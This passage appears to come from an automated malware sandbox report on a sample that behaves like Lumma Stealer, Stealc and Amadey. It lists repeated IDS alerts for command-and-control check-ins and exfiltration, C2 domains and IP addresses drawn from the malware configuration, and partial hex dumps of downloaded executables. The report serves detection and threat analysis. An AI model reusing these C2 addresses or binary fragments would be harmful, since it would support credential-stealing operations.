Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00229642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00229642
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0022979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_0022979D
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00229B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_00229B2B
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00225C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_00225C97

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 215MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:61576 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:61906 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:49535 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:63543 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:63985 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:61015 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:57459 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:63944 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49746 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49834 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:59475 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:58327 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:61574 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:56602 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:57887 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:62263 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:50861 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49906 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49850
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49942 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:55330 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49947 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:58510 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:58468 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:51735 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:58111 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:50400 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:64664 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:51599 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50000 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50036 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:58462 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:62639 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:55866 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:50724 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:51151 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50025 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:49761 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:50478 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:49981 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50066 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50091 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:60777 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:63767 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:50479 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:50442 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:65366 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50095 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:56503 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50112 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:58454 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50121 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:59482 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49968 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:51048 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:63916 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:54522 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:58813 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:50001 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:55131 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:51661 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:63560 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:54381 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49730 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49908 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49920 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49920 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49989 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49989 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49998 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50001 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50001 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50011 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50011 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50023 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50023 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50062 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50062 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50033 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50033 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50047 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50109 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50113 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50076 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50076 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50124 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49978 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50120 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50116 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50131 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50131 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49926 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49926 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50130 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50051 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50122 -> 172.67.206.204:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 41

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:46:22 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Mon, 21 Oct 2024 08:30:16 GMTConnection: keep-aliveETag: "67161118-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 d5 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 91 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 91 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 64 79 69 6b 6b 00 10 1a 00 00 90 31 00 00 02 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 67 71 6b 64 66 77 00 10 00 00 00 a0 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:46:24 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
